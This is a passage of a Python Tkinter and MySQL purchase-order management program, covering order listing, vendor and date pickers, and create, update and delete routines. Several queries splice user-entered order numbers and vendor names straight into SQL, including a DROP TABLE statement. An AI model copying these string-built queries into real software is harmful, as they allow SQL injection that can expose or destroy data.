utf8mb4_0900_ai_ci\"\"\",\r\n                    \r\n                    \"\"\"\r\n                    CREATE TABLE IF NOT EXISTS `COMPANY_INFO`.`COMPANY_MWA`\r\n                    (`oid` INT AUTO_INCREMENT PRIMARY KEY,\r\n                     `ComName` VARCHAR(100),\r\n                     `Address` VARCHAR(100),\r\n                     `CenterA` VARCHAR(80),\r\n                     `CenterB` VARCHAR(80),\r\n                     `Building` VARCHAR(80),\r\n                     `PosCode` VARCHAR(50),\r\n                     `ComRegNum` VARCHAR(30),\r\n                     `Buyer` VARCHAR(100),\r\n                     `ContactNum` VARCHAR(30),\r\n                     `Email` VARCHAR(100))\r\n                    \r\n                    ENGINE = InnoDB\r\n                    DEFAULT CHARACTER SET = utf8mb4\r\n                    COLLATE = utf8mb4_0900_ai_ci\"\"\"\r\n                    ]\r\n\r\n    curInit = connInit.cursor()\r\n    for com in SetupCommand:\r\n        curInit.execute(com)\r\n        connInit.commit()\r\n    \r\n    curInit.close()\r\n\r\n\r\n\r\n    connMain = mysql.connector.connect(host = logininfo[0],\r\n                                       user = logininfo[1], \r\n                                       password =logininfo[2],\r\n                                       database= \"INDEX_PRO_MASTER\")\r\n    \r\n    connCom = mysql.connector.connect(host = logininfo[0],\r\n                                       user = logininfo[1], \r\n                                       password =logininfo[2],\r\n                                       database= \"COMPANY_INFO\")\r\n    \r\n    connPur = mysql.connector.connect(host = logininfo[0],\r\n                                      user = logininfo[1], \r\n                                      password =logininfo[2],\r\n                                      database= \"PUR_ORDER_MASTER\")\r\n    \r\n    connVend = mysql.connector.connect(host = logininfo[0],\r\n                                       user = logininfo[1], \r\n                                       password =logininfo[2],\r\n                                       database= \"INDEX_VEND_MASTER\")\r\n\r\n    #0 BOM Cost\r\n    #1 Export CSV\r\n    #2 Total Cost\r\n    #3 Delete Project\r\n    #4 Edit Employee\r\n    #5 Approve PurOrder # USED TO UNLOCK COMPLETED ORDER\r\n    #6 Generate PurOrder\r\n    \r\n    def AuthLevel(Auth, index):\r\n        AuthDic = {0:[0,0,0,0,0,0,0], 1:[1,1,0,0,0,1,1],\r\n                   2:[1,1,1,1,0,0,0], 3:[1,1,1,1,1,1,1]}\r\n        AuthBool = AuthDic.get(Auth)[index]\r\n        return AuthBool\r\n\r\n    # Insert Default Company Info\r\n# =============================================================================\r\n#     curCom = connCom.cursor()\r\n#     curCom.execute(\"SELECT * FROM COMPANY_MWA\")\r\n#     existLst = curCom.fetchall()\r\n#     \r\n#     if existLst == []:\r\n#         defaultComSql = f\"\"\"INSERT INTO `COMPANY_MWA` (\r\n#         ComName, ComRegNum, GSTRegNum, Address, PosCode, \r\n#         CenterA, CenterB, ContactNum, Email)\r\n#     \r\n#         VALUES (%s, %s, %s, %s, %s, %s, %s, %s, %s)\"\"\"\r\n#                     \r\n#         defaultComInfo = (\"Motionwell Automation Pte. Ltd.\", \"201435019E\", \"201435019E\",\r\n#                           \"20 Woodlands Link\", \"738733\", \"#09-08 (Design & Assembly Center)\", \r\n#                           \"#07-26 (Manufacturing Shop)\", \"98506102\", \"info@motionwell.com.sg\")\r\n#         \r\n#         curCom.execute(defaultComSql, defaultComInfo)\r\n#         connCom.commit()\r\n#     curCom.close()\r\n# \r\n# =============================================================================\r\n\r\n\r\n\r\n\r\n    RepTabTitleLabel = Label(frameRep, text=\"Purchase Order List\", font=(\"Arial\", 12))\r\n    RepTabTitleLabel.grid(row=0, column=0, padx=0, pady=0, ipadx=0, ipady=5, sticky=W+E)\r\n    \r\n    OrderTreeFrame = Frame(frameRep)\r\n    OrderTreeFrame.grid(row=1, column=0, padx=10, pady=0, ipadx=10, ipady=5, sticky=\"EW\")\r\n    # OrderTreeFrame.pack(fill=\"x\", expand=True)\r\n    \r\n    OrderTreeScroll = Scrollbar(OrderTreeFrame)\r\n    OrderTreeScroll.pack(side=RIGHT, fill=Y)\r\n    \r\n    OrderTreeView = ttk.Treeview(OrderTreeFrame, yscrollcommand=OrderTreeScroll.set, selectmode=\"browse\")\r\n    OrderTreeScroll.config(command=OrderTreeView.yview)\r\n    # OrderTreeView.grid(row=0, column=0, columnspan=1, padx=5, pady=5, ipadx=5, ipady=5)\r\n    OrderTreeView.pack(padx=5, pady=5, ipadx=5, ipady=5, fill=\"x\", expand=True)\r\n    \r\n    OrderTreeView['columns'] = (\"PurOrderNum\", \r\n                                \"PaymentTerm\", \r\n                                \"OrderDate\", \r\n                                \"VendorRemark\",\r\n                                \"TransCcy\",\r\n                                \"OrderStatus\",\r\n                                \"TotalSGD\")\r\n    \r\n    OrderTreeView.column(\"#0\", anchor = CENTER, width =80, minwidth = 0)\r\n    # OrderTreeView.column(\"#0\",  width=0, stretch=NO)\r\n    OrderTreeView.column(\"PurOrderNum\", anchor = CENTER, width = 130, minwidth = 50)\r\n    OrderTreeView.column(\"PaymentTerm\", anchor = CENTER, width= 100, minwidth = 50)\r\n    OrderTreeView.column(\"OrderDate\", anchor = CENTER, width = 100, minwidth = 50)\r\n    OrderTreeView.column(\"VendorRemark\", anchor = W, width = 370, minwidth = 50)\r\n    OrderTreeView.column(\"TransCcy\", anchor = CENTER, width = 100, minwidth = 50)\r\n    OrderTreeView.column(\"OrderStatus\", anchor = CENTER, width = 200, minwidth = 50)\r\n    OrderTreeView.column(\"TotalSGD\", anchor = CENTER, width = 120, minwidth = 50)\r\n    \r\n    OrderTreeView.heading(\"#0\", text = \"Index\")\r\n    OrderTreeView.heading(\"PurOrderNum\", text = \"Purchase Order No.\")\r\n    OrderTreeView.heading(\"PaymentTerm\", text = \"Payment Term\")\r\n    OrderTreeView.heading(\"OrderDate\", text = \"Order Date\")\r\n    OrderTreeView.heading(\"VendorRemark\", text = \"Vendor Remark\")\r\n    OrderTreeView.heading(\"TransCcy\", text = \"Trans. Ccy\")\r\n    OrderTreeView.heading(\"OrderStatus\", text = \"Status\")\r\n    OrderTreeView.heading(\"TotalSGD\", text = \"Total SGD\")\r\n\r\n\r\n\r\n\r\n\r\n    def deselectOrderClick(e):\r\n        deselectOrder()\r\n    \r\n    def selectOrderClick(e):\r\n        selectOrder()\r\n    \r\n    def updateOrderReturn(e):\r\n        if buttonUpdatePur[\"state\"] == \"disabled\":\r\n            messagebox.showwarning(\"Unable to Update\", \r\n                                   \"Please Select an Order\", parent=frameRep) \r\n        else:\r\n            updateOrder()\r\n    \r\n    def deleteOrderDel(e):\r\n        if buttonDeletePur[\"state\"] == \"disabled\":\r\n            messagebox.showwarning(\"Unable to Delete\", \r\n                                   \"Please Select an Order\", parent=frameRep) \r\n        else:\r\n            deleteOrder()\r\n\r\n    def loadOrderClick(e):\r\n        if buttonLoadPur[\"state\"] == \"normal\":\r\n            loadOrder()\r\n\r\n    def exitOrderEsc(e):\r\n        tabNum = tabNoteRep.index(\"current\")\r\n        if tabNum == 0:\r\n            respExitRep = messagebox.askokcancel(\"Confirmation\",\r\n                                                 \"Exit Purchase Order Window Now?\",\r\n                                                 parent=frameRep)\r\n            if respExitRep == True:\r\n                RepWin.destroy()\r\n            else:\r\n                pass\r\n\r\n    OrderTreeView.bind(\"\", deselectOrderClick)\r\n    OrderTreeView.bind(\"\", selectOrderClick)\r\n    OrderTreeView.bind(\"\", updateOrderReturn)\r\n    OrderTreeView.bind(\"\", deleteOrderDel) \r\n    OrderTreeView.bind(\"\", loadOrderClick)\r\n    OrderTreeView.bind(\"\", exitOrderEsc)\r\n\r\n\r\n\r\n\r\n\r\n    def genOrderNum():\r\n        curPur = connPur.cursor()\r\n        curPur.execute(\"\"\"SELECT MAX(oid) FROM PUR_ORDER_LIST \"\"\")\r\n        maxOID = curPur.fetchall()[0][0]\r\n        \r\n        if maxOID == None:\r\n            nextInt = 1\r\n        \r\n        else:\r\n            curPur.execute(f\"\"\"SELECT * FROM PUR_ORDER_LIST WHERE oid = {maxOID} \"\"\")\r\n            result = curPur.fetchall()\r\n            \r\n            currentNum = result[0][1]\r\n            \r\n            latestYear = result[0][3].year\r\n            latestMonth = result[0][3].month\r\n            latestDay = result[0][3].day\r\n            \r\n            currentYear = datetime.now().year\r\n            currentMonth = datetime.now().month\r\n            currentDay = datetime.now().day\r\n        \r\n            if latestYear == currentYear and latestMonth == currentMonth and latestDay == currentDay:\r\n                currentInt = int(str(currentNum)[-2:])\r\n                nextInt = currentInt + 1\r\n            else:\r\n                nextInt = 1\r\n        \r\n        connPur.commit()\r\n        curPur.close()\r\n        \r\n        yearDigit = str((datetime.now().year)%100)\r\n        monthDigit = str(datetime.now().month).rjust(2,\"0\")\r\n        dayDigit = str(datetime.now().day).rjust(2,\"0\")\r\n        numTwoDigit = str(nextInt).rjust(2,\"0\")\r\n        newPurOrderID = f\"MWAPO{yearDigit}{monthDigit}{dayDigit}{numTwoDigit}\"\r\n        \r\n        PurOrderNumBox.delete(0, END)\r\n        PurOrderNumBox.insert(0, newPurOrderID)\r\n    \r\n    def payLstGen():\r\n        payWin = Toplevel()\r\n        payWin.title(\"Select Payment Method\")\r\n        payWin.geometry(\"210x300\")\r\n        \r\n        sclFrame = Frame(payWin)\r\n        sclFrame.grid(row=0, column=0, columnspan=3, padx=20, pady=10, ipadx=5, ipady=0, sticky=W+E)\r\n                \r\n        scl = Scrollbar(sclFrame, orient=VERTICAL)\r\n        scl.pack(side=RIGHT, fill=Y)\r\n        \r\n        payLstBox = Listbox(sclFrame, width=20, selectmode=SINGLE, yscrollcommand=scl.set)\r\n        scl.config(command=payLstBox.yview)\r\n        payLstBox.pack(ipady=20)\r\n        \r\n        payMethodLst = [\"COD\", \"EOM\", \"CND\", \"CBS\", \"CIA\", \"CWO\",\r\n                        \"NET 7\", \"NET 10\", \"NET 30\", \"NET 60\", \"NET 90\", \r\n                        \"Others (Please Specify)\"]\r\n        \r\n        for method in payMethodLst:\r\n            payLstBox.insert(END, method)\r\n        \r\n        PaymentTermBox.delete(0, END)\r\n        PaymentTermBox.config(state=\"readonly\")\r\n        \r\n        def confirmPay():\r\n            paySelect = payLstBox.get(ANCHOR)\r\n            if paySelect == \"\":\r\n                messagebox.showwarning(\"No Method Selected\", \"Please Select a Method\", \r\n                                       parent=payWin)\r\n            elif paySelect == \"Others (Please Specify)\":\r\n                PaymentTermBox.config(state=\"normal\")\r\n                PaymentTermBox.delete(0, END)\r\n                payWin.destroy()\r\n            else:\r\n                PaymentTermBox.config(state=\"normal\")\r\n                PaymentTermBox.delete(0, END)\r\n                PaymentTermBox.insert(0, paySelect)\r\n                PaymentTermBox.config(state=\"readonly\")\r\n                payWin.destroy()\r\n        \r\n        def emptyPay():\r\n            PaymentTermBox.config(state=\"normal\")\r\n            PaymentTermBox.delete(0, END)\r\n            PaymentTermBox.config(state=\"readonly\")\r\n            payWin.destroy()\r\n        \r\n        buttonConfirmPay = Button(payWin, text=\"Confirm\", command=confirmPay)\r\n        buttonConfirmPay.grid(row=1, column=0, padx=5, pady=5)\r\n        \r\n        buttonEmptyPay = Button(payWin, text=\"Clear\", command=emptyPay)\r\n        buttonEmptyPay.grid(row=1, column=1, padx=5, pady=5)\r\n        \r\n        buttonClosePay = Button(payWin, text=\"Close\", command=payWin.destroy)\r\n        buttonClosePay.grid(row=1, column=2, padx=5, pady=5)\r\n    \r\n    def vendorLstGen():\r\n        curVend = connVend.cursor()\r\n        curVend.execute(f\"\"\"SELECT * FROM VENDOR_LIST \"\"\")\r\n        VendList = curVend.fetchall()\r\n        \r\n        VendWin = Toplevel()    \r\n        VendWin.title(\"Vendor Selection\")\r\n        VendWin.geometry(\"320x360\")\r\n\r\n        SearchFrame = Frame(VendWin)\r\n        SearchFrame.grid(row = 0, column = 0, columnspan = 3,sticky = W,padx=5, pady=5,)\r\n        \r\n        TreeFrame = Frame(VendWin)\r\n        TreeFrame.grid(row = 1, column = 0, columnspan = 3,sticky = W,padx=5, pady=5,)\r\n        \r\n        VendScroll = Scrollbar(TreeFrame)\r\n        VendScroll.pack(side=RIGHT, fill=Y)\r\n        \r\n        VendorSelectionTree = ttk.Treeview(TreeFrame,yscrollcommand=VendScroll.set, \r\n                                        selectmode=\"browse\")\r\n    \r\n        VendScroll.config(command=VendorSelectionTree.yview)\r\n        \r\n        VendorSelectionTree.pack(padx=(15,5), pady=5, ipadx=5, ipady=5)\r\n        \r\n        VendorSelectionTree['columns'] = (\"Vendor\",\r\n                                          \"Class\",\r\n                                          \"Status\")\r\n        \r\n        VendorSelectionTree.column(\"#0\",width=0, stretch=NO, minwidth = 0)\r\n        VendorSelectionTree.column(\"Vendor\",width =140,minwidth = 140)\r\n        VendorSelectionTree.column(\"Class\",width =40,minwidth = 40)\r\n        VendorSelectionTree.column(\"Status\",width =60,minwidth =60)\r\n        \r\n        VendorSelectionTree.heading(\"#0\",text = \"Index\", anchor = CENTER)\r\n        VendorSelectionTree.heading(\"Vendor\",text = \"Vendor\", anchor = W)   \r\n        VendorSelectionTree.heading(\"Class\",text = \"Class\", anchor = W)\r\n        VendorSelectionTree.heading(\"Status\",text = \"Status\", anchor = W)\r\n                            \r\n        VendorSelectionTree.delete(*VendorSelectionTree.get_children())\r\n        \r\n        statLst = [\"Inactive\", \"Active\"]\r\n        for Vend in VendList:\r\n            VendorSelectionTree.insert(parent=\"\", index=END, iid=Vend[0], \r\n                                        text=Vend[0], values=(Vend[1], Vend[2], \r\n                                                              statLst[Vend[18]]))\r\n    \r\n        global curVEND\r\n        curVEND = None\r\n        \r\n        def selectItem(event):\r\n            global curVEND\r\n            selVal = VendorSelectionTree.selection()\r\n            if selVal == ():\r\n                messagebox.showerror(\"Unable to Select\",\r\n                                     \"Please Select a Value\", parent=VendWin)\r\n            else:\r\n                curVEND =VendorSelectionTree.item(selVal[0])['values']\r\n    \r\n        VendorSelectionTree.bind('', selectItem) \r\n        \r\n        SearchLabel = Label(SearchFrame, text = 'Search by Vendor :')\r\n        SearchLabel.grid(row=0,column = 0, padx=5, pady=5)\r\n        \r\n        SearchEntry = Entry(SearchFrame)\r\n        SearchEntry.grid(row=0,column = 1, padx=5, pady=5)\r\n        \r\n        def Search():\r\n            newlst = []\r\n            for i in VendList:\r\n                if SearchEntry.get().lower() in i[0].lower():\r\n                    newlst.append(i)\r\n            VendorSelectionTree.delete(*VendorSelectionTree.get_children())\r\n            icount = 1\r\n            for Vend in newlst:\r\n                VendorSelectionTree.insert('','end', text = str(icount),values = tuple([Vend[i] for i in range(len(Vend))]))\r\n                icount +=1\r\n                \r\n        global img\r\n        #photo = Image.open('mag3.png')\r\n        photo = PhotoImage(file = r\"mag3.png\")\r\n        img = photo.subsample(4, 4)\r\n        SearchButton = Button(SearchFrame,command = Search, image = img)\r\n        SearchButton.grid(row=0, column = 2)\r\n    \r\n        def SelectedVend():\r\n            try:\r\n                VendorRemarkBox.config(state=\"normal\")\r\n                VendorRemarkBox.delete(0, END)  \r\n                VendorRemarkBox.insert(END,curVEND[0])\r\n                VendorRemarkBox.config(state=\"readonly\")\r\n                VendWin.destroy()\r\n            except:\r\n                VendorRemarkBox.config(state=\"normal\")\r\n                VendorRemarkBox.delete(0, END)  \r\n                VendorRemarkBox.config(state=\"readonly\")\r\n                messagebox.showwarning(\"No Vendor Selected\", \"Please Select a Vendor\", \r\n                                       parent=VendWin)\r\n        \r\n        def ClearVend():\r\n            VendorRemarkBox.config(state=\"normal\")\r\n            VendorRemarkBox.delete(0, END)\r\n            VendorRemarkBox.config(state=\"readonly\")\r\n            VendWin.destroy()\r\n        \r\n        def BackVend():\r\n            VendWin.destroy()\r\n    \r\n        SelButton = Button(VendWin, text =\"Select\",command = SelectedVend, width = 10)\r\n        SelButton.grid(row = 2, column = 0)\r\n        \r\n        ClearButton = Button(VendWin, text =\"Clear\", command = ClearVend, width = 10)\r\n        ClearButton.grid(row = 2, column = 1, sticky = W)\r\n        \r\n        ExitButton = Button(VendWin, text =\"Exit\", command = BackVend, width = 10)\r\n        ExitButton.grid(row = 2, column = 2, sticky = W)\r\n    \r\n    def orderCalPro():\r\n        calWin = Toplevel()\r\n        calWin.title(\"Select the Date\")\r\n        calWin.geometry(\"270x260\")\r\n        \r\n        cal = Calendar(calWin, selectmode=\"day\", date_pattern=\"y-mm-dd\")\r\n        cal.grid(row=0, column=0, columnspan=3, padx=10, pady=10, sticky=EW)\r\n        \r\n        def confirmDate():\r\n            val = cal.get_date()\r\n            OrderDateBox.config(state=\"normal\")\r\n            OrderDateBox.delete(0, END)\r\n            OrderDateBox.insert(0, val)\r\n            OrderDateBox.config(state=\"readonly\")\r\n            calWin.destroy()\r\n        \r\n        def emptyDate():\r\n            OrderDateBox.config(state=\"normal\")\r\n            OrderDateBox.delete(0, END)\r\n            OrderDateBox.config(state=\"readonly\")\r\n            calWin.destroy()\r\n        \r\n        buttonConfirm = Button(calWin, text=\"Confirm\", command=confirmDate)\r\n        buttonConfirm.grid(row=1, column=0, padx=5, pady=5)\r\n    \r\n        buttonEmpty = Button(calWin, text=\"Remove Date\", command=emptyDate)\r\n        buttonEmpty.grid(row=1, column=1, padx=5, pady=5)\r\n    \r\n        buttonClose = Button(calWin, text=\"Close\", command=calWin.destroy)\r\n        buttonClose.grid(row=1, column=2, padx=5, pady=5)\r\n\r\n    def queryTreeOrder():\r\n        curPur = connPur.cursor()\r\n        curPur.execute(\"SELECT * FROM PUR_ORDER_LIST\")\r\n        recLst = curPur.fetchall()    \r\n        connPur.commit()\r\n        curPur.close()\r\n        \r\n        curVend = connVend.cursor()\r\n        \r\n        orderYearLst = []\r\n        orderMonthLst = []\r\n        for rec in recLst:\r\n            yearVal = f\"Y20{rec[1][5:7]}\"\r\n            if yearVal not in orderYearLst:\r\n                orderYearLst.append(yearVal)\r\n            \r\n            monthVal = rec[1][5:9]\r\n            if monthVal not in orderMonthLst:\r\n                orderMonthLst.append(monthVal)\r\n                \r\n        for yr in orderYearLst:\r\n            OrderTreeView.insert(parent=\"\", index=END, iid=yr, text=yr,\r\n                                 values=(\"\",))\r\n        \r\n        monthDic = {1:\"Jan\", 2:\"Feb\", 3:\"Mar\", 4:\"Apr\", 5:\"May\", 6:\"Jun\",\r\n                    7:\"Jul\", 8:\"Aug\", 9:\"Sept\", 10:\"Oct\", 11:\"Nov\", 12:\"Dec\"}\r\n        \r\n        for mt in orderMonthLst:\r\n            yrInt = mt[0:2]\r\n            yrStr = f\"Y20{yrInt}\"\r\n            mtInt = mt[2:]\r\n            mtStr = monthDic.get(int(mtInt))\r\n            \r\n            OrderTreeView.insert(parent=yrStr, index=END, iid=f\"M{mt}\", \r\n                                  text=mtStr, values=(\"\",))\r\n\r\n        for rec in recLst:\r\n            boolLst = [\"In Progress\", \"Awaiting Approval\", \r\n                       \"Awaiting Issue\", \"Issued\", \"Rejected\"]\r\n            curVend.execute(f\"SELECT * FROM VENDOR_LIST WHERE VENDOR_NAME = '{rec[4]}'\")\r\n            vendorInfo = curVend.fetchall()\r\n            if vendorInfo == []:\r\n                addressFull = \"\"\r\n            else:\r\n                addressFull = f\"{vendorInfo[0][3]} ({vendorInfo[0][2]}) {vendorInfo[0][6]} {vendorInfo[0][5]} {vendorInfo[0][7]} {vendorInfo[0][4]}\"\r\n            OrderTreeView.insert(parent=f\"M{rec[1][5:9]}\", index=END, iid=rec[0], text=\"\", \r\n                                  values=(rec[1], rec[2], rec[3], addressFull, rec[5],\r\n                                          boolLst[rec[10]], \r\n                                          f\"{rec[11]} SGD\"))            \r\n        curVend.close()\r\n        \r\n    def updateOrderCcy():\r\n        orderNumRef = PurOrderNumBox.get()\r\n        TransExRateUsed = TransExRateBox.get()\r\n        \r\n        curPur = connPur.cursor()\r\n        curPur.execute(f\"SELECT * FROM `{orderNumRef}`\")\r\n        fullLst = curPur.fetchall()\r\n        \r\n        SelectOIDLst = []\r\n        SGDCostLst = []\r\n        for val in fullLst:\r\n            SelectOIDLst.append(val[0])\r\n            SGDCostLst.append(val[10])\r\n        \r\n        def calcTrans(Cost, ExRate):\r\n            if Cost == None or Cost == \"\" or Cost == \"None\":\r\n                return None\r\n            else:\r\n                costVal = float(Cost)\r\n                exRateVal = 1/(float(ExRate))\r\n                return round(costVal * exRateVal, 2)\r\n        \r\n        TransCostLst = []\r\n        for val in SGDCostLst:\r\n            TransCostLst.append(calcTrans(val, TransExRateUsed))\r\n\r\n        updateCcyCost = f\"\"\"UPDATE `{orderNumRef}` SET\r\n        `CostTrans` = %s\r\n        \r\n        WHERE `oid` = %s\"\"\"\r\n                \r\n        for i in range(len(SelectOIDLst)):\r\n            inputs = (TransCostLst[i], SelectOIDLst[i])\r\n            curPur.execute(updateCcyCost, inputs)\r\n        connPur.commit()        \r\n\r\n    def updateOrder():\r\n        sqlCommand = f\"\"\"UPDATE PUR_ORDER_LIST SET\r\n        `PaymentTerm` = %s,\r\n        `OrderDate` = %s,\r\n        `VendorRemark` = %s,\r\n        `TransCcy` = %s,\r\n        `TransExRate` = %s,\r\n        `ProgressStat` = %s,\r\n        `ApproveStat` = %s,\r\n        `IssueStat` = %s,\r\n        `OrderStat` = %s\r\n        \r\n        WHERE `oid` = %s\"\"\"\r\n        \r\n        selected = OrderTreeView.selection()[0]\r\n        orderNumRef = PurOrderNumBox.get()\r\n        \r\n        def checkDateOrder(dateVar):\r\n            if dateVar.get() == \"\":\r\n                return None\r\n            else:\r\n                return dateVar.get()\r\n        \r\n        ProgressStat = ProgressStatBox.current()\r\n        ApproveStat = ApproveStatBox.current()\r\n        IssueStat = IssueStatBox.current()\r\n        \r\n        if ApproveStat == 2:\r\n            OrderStat = 4\r\n        else:\r\n            if ProgressStat == 0:\r\n                OrderStat = 0\r\n            else:\r\n                if ApproveStat == 0:\r\n                    OrderStat = 1\r\n                else:\r\n                    if IssueStat == 0:\r\n                        OrderStat = 2\r\n                    else:\r\n                        OrderStat = 3\r\n        \r\n        inputs = (PaymentTermBox.get(), checkDateOrder(OrderDateBox),\r\n                  VendorRemarkBox.get(), TransCcyBox.get(), TransExRateBox.get(),\r\n                  ProgressStat, ApproveStat, IssueStat, OrderStat, selected)\r\n        \r\n        respUpdateOrder = messagebox.askokcancel(\"Confirmation\",\r\n                                                 \"Update This Order?\",\r\n                                                 parent=frameRep)\r\n        if respUpdateOrder == True:\r\n            curPur = connPur.cursor()\r\n            curPur.execute(sqlCommand, inputs)\r\n            connPur.commit()\r\n            curPur.close()\r\n            \r\n            updateOrderCcy()\r\n            \r\n            tabLstOrder = tabNoteRep.winfo_children()\r\n            for i in range(1, len(tabLstOrder)):\r\n                tabLstOrder[i].destroy()\r\n            buttonLoadPur.config(state=NORMAL)\r\n            \r\n            clearEntryOrder()\r\n            OrderTreeView.delete(*OrderTreeView.get_children())\r\n            queryTreeOrder()\r\n            \r\n            messagebox.showinfo(\"Update Successful\", \r\n                                f\"You Have Updated Order {orderNumRef}\", parent=RepWin)\r\n        \r\n        else:\r\n            pass\r\n    \r\n    def createOrderCom():\r\n        # timeNow = datetime.now()\r\n        # formatDate = timeNow.strftime(\"%Y-%m-%d\")\r\n        \r\n        # OrderStat \r\n        # 0 In Progress\r\n        # 1 Awaiting Approval\r\n        # 2 Awaiting Issue\r\n        # 3 Issued\r\n        # 4 Rejected\r\n        \r\n        createComOrder = \"\"\"INSERT INTO `PUR_ORDER_LIST` (\r\n        PurOrderNum, PaymentTerm, OrderDate, VendorRemark, TransCcy, \r\n        TransExRate, ProgressStat, ApproveStat, IssueStat, OrderStat)\r\n        \r\n        VALUES (%s, %s, %s, %s, %s, %s, %s, %s, %s, %s)\"\"\"\r\n        \r\n        def checkDateOrder(dateVar):\r\n            if dateVar.get() == \"\":\r\n                return None\r\n            else:\r\n                return dateVar.get()\r\n        \r\n        ProgressStat = ProgressStatBox.current()\r\n        ApproveStat = ApproveStatBox.current()\r\n        IssueStat = IssueStatBox.current()\r\n        \r\n        if ApproveStat == 2:\r\n            OrderStat = 4\r\n        else:\r\n            if ProgressStat == 0:\r\n                OrderStat = 0\r\n            else:\r\n                if ApproveStat == 0:\r\n                    OrderStat = 1\r\n                else:\r\n                    if IssueStat == 0:\r\n                        OrderStat = 2\r\n                    else:\r\n                        OrderStat = 3\r\n        \r\n        valueOrder = (PurOrderNumBox.get(), PaymentTermBox.get(), \r\n                      checkDateOrder(OrderDateBox),\r\n                      VendorRemarkBox.get(), TransCcyBox.get(),\r\n                      TransExRateBox.get(), ProgressStat, ApproveStat, \r\n                      IssueStat, OrderStat)\r\n        \r\n        \r\n        \r\n        curPur = connPur.cursor()\r\n        curPur.execute(createComOrder, valueOrder)\r\n        connPur.commit()\r\n        \r\n        PurOrderRef = PurOrderNumBox.get()       \r\n        \r\n        curPur.execute(f\"\"\" CREATE TABLE IF NOT EXISTS `{PurOrderRef}` (\r\n            `oid` INT AUTO_INCREMENT PRIMARY KEY,\r\n            `PartNum` VARCHAR(50),\r\n            `Description` VARCHAR(100),\r\n            `Maker` VARCHAR(100),\r\n            `Spec` VARCHAR(150),\r\n            `REQ` VARCHAR(10),\r\n            `Tax` VARCHAR(20),\r\n            `Vendor` VARCHAR(100),\r\n            `UnitCost` VARCHAR(20),\r\n            `Currency` VARCHAR(20),\r\n            `CostSGD` VARCHAR(20),\r\n            `CostTrans` VARCHAR(20))\r\n        \r\n            ENGINE = InnoDB\r\n            DEFAULT CHARACTER SET = utf8mb4\r\n            COLLATE = utf8mb4_0900_ai_ci\"\"\")\r\n            \r\n        connPur.commit()\r\n        curPur.close()\r\n        clearEntryOrder()\r\n        OrderTreeView.delete(*OrderTreeView.get_children())\r\n        queryTreeOrder()\r\n        \r\n        messagebox.showinfo(\"Create Successful\", \r\n                            f\"You Have Created Purchase Order {PurOrderRef}\", parent=RepWin) \r\n        \r\n    def createOrder():\r\n        if PurOrderNumBox.get() == \"\":\r\n            messagebox.showerror(\"Unable to Create\",\r\n                                   \"Please Enter an Order Number\",\r\n                                   parent=frameRep)\r\n        else:\r\n            if VendorRemarkBox.get() == \"\":\r\n                respCreateVen = messagebox.askokcancel(\"Yet to Choose Vendor\",\r\n                                                       \"Create an Order without Vendor?\",\r\n                                                       parent=frameRep)\r\n                if respCreateVen == True:\r\n                    createOrderCom()\r\n                else:\r\n                    pass\r\n            else:\r\n                respCreateOrder = messagebox.askokcancel(\"Confirmation\",\r\n                                                         \"Create This Order?\",\r\n                                                         parent=frameRep)\r\n                if respCreateOrder == True:\r\n                    createOrderCom()\r\n                else:\r\n                    pass\r\n    \r\n    def deleteOrder():\r\n        selected = OrderTreeView.selection()[0]\r\n        if selected[0] == \"Y\":\r\n            respDelOrderYear = messagebox.askokcancel(\"You Have Selected a Year\", \r\n                                                       f\"This will Delete EVERYTHING under {selected}\", \r\n                                                       parent=frameRep)\r\n            if respDelOrderYear == True:\r\n                selectAll = []\r\n                monthNum = OrderTreeView.get_children(selected)\r\n                for val in monthNum:\r\n                    PurOrderVal = OrderTreeView.get_children(val)\r\n                    for item in PurOrderVal:\r\n                        selectAll.append(item)\r\n\r\n                for index in selectAll:\r\n                    sqlSelect = \"SELECT * FROM PUR_ORDER_LIST WHERE oid = %s\"\r\n                    valSelect = (index, )\r\n                    \r\n                    curPur = connPur.cursor()\r\n                    curPur.execute(sqlSelect, valSelect)\r\n                    recVal = curPur.fetchall()\r\n                    connPur.commit()\r\n                    \r\n                    orderNumRef = recVal[0][1]\r\n                    \r\n                    sqlDelete = \"DELETE FROM PUR_ORDER_LIST WHERE oid = %s\"\r\n                    valDelete = (index,)\r\n                    \r\n                    curPur.execute(sqlDelete, valDelete)\r\n                    connPur.commit()\r\n                    \r\n                    curPur.execute(f\"DROP TABLE IF EXISTS `{orderNumRef}`\")\r\n                    connPur.commit()\r\n                    \r\n                    clearEntryOrder()\r\n                    OrderTreeView.delete(*OrderTreeView.get_children())\r\n                    queryTreeOrder()\r\n                    \r\n                messagebox.showinfo(\"Delete Successful\", \r\n                                    f\"You Have Deleted {len(selectAll)} Purchase Order\", parent=RepWin) \r\n                curPur.close()\r\n            else:\r\n                pass\r\n            \r\n        elif selected[0] == \"M\":\r\n            respDelOrderMonth = messagebox.askokcancel(\"You Have Selected a Month\", \r\n                                                       f\"This will Delete EVERYTHING under Month {selected[3:]}\", \r\n                                                       parent=frameRep)\r\n            if respDelOrderMonth == True:\r\n                selectAll = OrderTreeView.get_children(selected)\r\n                \r\n                for index in selectAll:\r\n                    sqlSelect = \"SELECT * FROM PUR_ORDER_LIST WHERE oid = %s\"\r\n                    valSelect = (index, )\r\n                    \r\n                    curPur = connPur.cursor()\r\n                    curPur.execute(sqlSelect, valSelect)\r\n                    recVal = curPur.fetchall()\r\n                    connPur.commit()\r\n                    \r\n                    orderNumRef = recVal[0][1]\r\n                    \r\n                    sqlDelete = \"DELETE FROM PUR_ORDER_LIST WHERE oid = %s\"\r\n                    valDelete = (index,)\r\n                    \r\n                    curPur.execute(sqlDelete, valDelete)\r\n                    connPur.commit()\r\n                    \r\n                    curPur.execute(f\"DROP TABLE IF EXISTS `{orderNumRef}`\")\r\n                    connPur.commit()\r\n                    \r\n                    clearEntryOrder()\r\n                    OrderTreeView.delete(*OrderTreeView.get_children())\r\n                    queryTreeOrder()\r\n                    \r\n                messagebox.showinfo(\"Delete Successful\", \r\n                                    f\"You Have Deleted {len(selectAll)} Purchase Order\", parent=RepWin) \r\n                curPur.close()\r\n            else:\r\n                pass\r\n        \r\n        else: \r\n            sqlDelete = \"DELETE FROM PUR_ORDER_LIST WHERE oid = %s\"\r\n            valDelete = (selected, )\r\n            \r\n            respDelOrder = messagebox.askokcancel(\"Confirmation\",\r\n                                                  \"Delete This Order\",\r\n                                                  parent=frameRep)\r\n            \r\n            if respDelOrder == True:\r\n                curPur = connPur.cursor()\r\n                curPur.execute(sqlDelete, valDelete)\r\n                connPur.commit()\r\n                \r\n                orderNumRef = PurOrderNumBox.get()\r\n                \r\n                curPur.execute(f\"DROP TABLE IF EXISTS 